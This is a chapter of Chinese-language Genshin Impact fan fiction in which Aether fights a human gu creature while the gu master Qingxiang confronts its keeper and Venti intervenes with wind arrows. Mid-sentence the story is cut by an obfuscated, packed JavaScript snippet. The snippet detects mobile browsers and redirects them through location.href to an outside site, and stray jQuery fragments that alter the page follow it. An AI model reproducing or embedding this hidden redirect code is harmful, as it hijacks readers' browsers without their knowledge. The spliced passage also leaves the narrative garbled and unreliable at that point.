空气运丹田,横剑扫喉。


    青葙:●v●?


    并没有找死的打算,青葙果断向前一跃,躲开攻击的同时也顺便露出气势汹汹下追在身后的乾真。


    距离不够。空眼色一凝,反手旋剑加大力度,顺势往前一刺。


    撕拉——


    布衣被剑锋劈开,乾真满脸茫然,踉跄着后退几步,他低头看向捂住腹部的手,深紫色的蛊毒迅速腐蚀皮肉,但又以肉眼可见的速度愈合。


    这是……受伤了?


    青葙勉强刹住,停在空身边,他单膝跪地,一手撑地稳住身形,抬头吐槽道:“你是要杀了我吗,朋友?”


    “我相信你会躲掉的。”空嘴角一勾,收剑问道,“仪式成功了?”


    “怎么可能,只是制造出一只会吃人的人蛊罢了。”青葙不以为意,“我需要你帮我拖延时间,牵制住人蛊,而我去解决阿苜。”


    时间紧迫,他只能加快语速介绍完情况。


    “人蛊虽然刀枪不入、身怀剧毒,且再生能力极强,但它们必须要吸食大量新鲜血肉以维持生机。现在人蛊刚出世,除了养蛊人阿苜,没有其他渠道能给它提供能量,所以只要我们速度够快,赶在它找到新渠道之前,断掉阿苜这个供给,就不费吹灰之力解决掉人蛊了。”


    “只是牵制的话,当然没问题。”


    “啊啊啊啊啊——不要小瞧我啊!!!”


    空直接应下,眼也不眨,上步架剑挡住怒吼而来的乾真。他或许是因为第一次受伤,有些恼羞成怒,这一轮的偷袭显然有些仓促,攻势极快但破绽更多。


    空在第一次交锋的时候便摸清楚人蛊的情况,也无意以大欺小,只格挡不进攻,将牵制贯彻得淋漓尽致。饶是如此,一时间场上也是叮呤咣啷响个不停。


    一拳、又一拳。


    乾真凭借变态的身体素质和愈合能力,以及再加上蛊毒的侵蚀,几次交锋后,愣是把空的无锋剑打烂了。


    剑身啪嗒一下倒插在地,乾真面露喜色,乘胜追击。


    正当拳头快要砸到对方身上的时候,空找准空档,劲起脚跟,由腿到腰,一个转身心窝踹,一脚蹬飞乾真。


    趁着乾真爬起来的时间,空随手丢开无锋剑,重新召唤一只新的,继续问道:“不过你准备怎么解决阿苜,需要我帮忙吗?”


    青葙似乎完全没当做自己在战场上,依旧保持着单膝跪地的姿势,甚至老神在在闭上眼,开始感知场上情况:“哼哼,开什么玩笑,接下来可是我耍帅赢得温迪先生芳心的关键时机,怎么能让你过来抢我高光……八种、十四种、十九种,除去这只特殊的人蛊,在场共计三百四十七只蛊虫。嗯,任务还算轻松。”


    他重新睁开眼,带着笑意的金色竖瞳可以说得上是熠熠生辉。反手亮出竹笛,在手心挽出一个又一个花来。


    随着他的动作,那只神出鬼没的蝴蝶乘着风再次悄然出现,这次落在了青葙的鼻尖,两人对视一眼,随后蝴蝶像是明白了什么,翅膀一张一合,轻盈飞向前面激战的旅行者,留下一路鳞粉。


    “先从你体内的这只开始解决吧?免得回头突然中招,把人蛊放跑了。——奇水,这边就交给你啦。”


    青葙边说边后退,银蛇幻影隐约浮现在他身后,留下最后一句叮嘱,青葙微微一笑,如水一般融化在月光下。


    “谁想抢你高光……等等、什么奇水?这是谁?”


    空吐槽到一半,突然感觉不对劲,没时间顾及挣扎着爬起来的乾真,空立刻转身,原本在他身后的青葙早已不见踪影,倒是有只蝴蝶,扑闪着翅膀直直向他飞来,细长口器在光影变换中时隐时现。


    虽然逆着光有些看不清具体细节,但根据这一对色泽秾艳诡奇、花纹迷乱摄魄的翅膀,空最后还是辨认出来,这是下午跳丘丘舞的那只蝴蝶。


    应该是青葙专门留下来,用来解决他体内蛊虫的吧?


    空这才松口气,自认为想明白了。他重新转过身,举起剑准备应对乾真……


    ——诶,乾真跑去哪儿了?


    空愣了一秒,突然惊醒。


    不对!!哪里来的口器!?


    下一秒,名为奇水的蝴蝶轻飘飘落在他的脑袋上,口器高昂,寒光一闪而过,顺着呆毛的位置径直插了进去。


    确定捕捉到那只蛊虫的踪迹后,奇水跟吸果冻似的,腹部稍一用力。


    吸溜~


    空,大脑瞬间空白。


    它在、它在吸什么……?


    这滋味实在太诡异,空只感觉自己的意识、灵魂、乃至所有美好的品德都被这一下全部吸走,他完全失去了控制身体的能力,整个人像被抽了线的软脚虾,软趴趴瘫在地上,眼睁睁看着吃饱喝足的奇水飞走,以及……


    拖着斧头,重新回到战场的人蛊。


    到底是谁想杀了谁……青!葙!


    眼见大难临头,空更是疯狂在内心吐槽某个不靠谱的蛊师。


    你·给·我·等·着!


    虽然有些奇怪之前活蹦乱跳的敌人为什么此刻突然歇火,但乾真并不关心原因,他只想早点解决这个让他吃了两次瘪的劲敌,然后赶紧去处理另外一个消失的家伙。


    本能告诉他,那个叫青葙的家伙很危险。


    影子穿过旅行者留下几道曲折,乾真踩在柔软的金色长辫上,缓缓举起斧头,脸上满是大仇得报的快意。


    再见了——


    比斧头更快落下的,是来自高处的三发箭矢,铮


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012641|161660||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    然嵌入大地,以刁钻角度直接逼退乾真。


    几乎是同一时间,有风场在空的身下汇聚,温柔将其托举,注入力量。


    青色羽毛飘然落下。


    乾真狼狈稳住重心,猛然抬头,循着箭矢的方向望去。


    不远处,温迪站在树下,他刚收起弓,脚下的风阵还没有散去。一双如天空般渺远的绿色眼眸往旅行者的方向瞥去。


    ——完全没把他放在眼里。


    与生俱来的自尊、以及又一次吃瘪的窝火让乾真面色阴沉下来。


    “帮大忙了,温迪。”


    “呼~不客气。真是惊险,差点没赶上。”


    在温迪的帮助下重新找回对身体的控制力。空展开风之翼,沉稳开口。他看着地上气势愈发冷冽的乾真,再次唤出召唤无锋剑,俯身冲下去。


    第三轮交锋,开始!


    蝴蝶翩翩落在另一只细白的手指上,温迪收回视线,也收回手,暂且放置一下旅行者和人蛊的战斗,笑吟吟逗着这只名义上已经送给他的一见钟情小礼物。


    “下次可别再这么调皮啦。”


    温迪点了点奇水的脑袋,奇水不会说话,便扒住温迪的指腹蹭了蹭,惹来他一声轻笑。


    “又见面了小朋友,你叫奇水是吗?真是个好听的名字。”


    “下午的时候因为一些原因没来得及说,请原谅我现在才补上来自吟游诗人的赞美——你的舞蹈很可爱哦。”


    “谢谢你的青睐,接下来就让我们一起并肩作战吧!”


    奇水一个振翅,乖巧停落在温迪头上的塞西莉亚花上,以表达自己的态度。


    “哈哈,看来我们会是合拍的搭档。那么首先是——”


    目光重新落到那边激烈焦灼的战场,温迪微眯起眼,拉动弓弦,身后斗篷不断飘动,强大的风之力在他手中凝聚成箭矢,随即轻轻松开:“别想逃开哦?”


    而另外一边……


    “被蛊虫反噬的滋味不好受吧?”


    踩着清脆银铃声响,青葙赤脚走来,原本密不透风的卫兵虫群似乎败在某种无形的压制下,给他让出一条宽敞通道。


    而通道的尽头,正是它们的原主人。


    阿苜跪伏在地,闷声咳嗽着,鲜血抑制不住从嘴角流出。短短一夜便经历两次反噬,彻底击溃了她本就糟糕的身体。


    “你……到底是谁……”


    为什么能夺取她的控制权?


    青葙没有回答,只是蹲下身,挑起阿苜的下巴,垂眸审视一番她的眼神后,无声叹口气,动作温情帮她擦干净嘴角的鲜血,语气有些苦恼。


    “你不要这么看着我嘛,明明我也是好心想救你一命。再这么负隅顽抗的话,你会没命的哦?”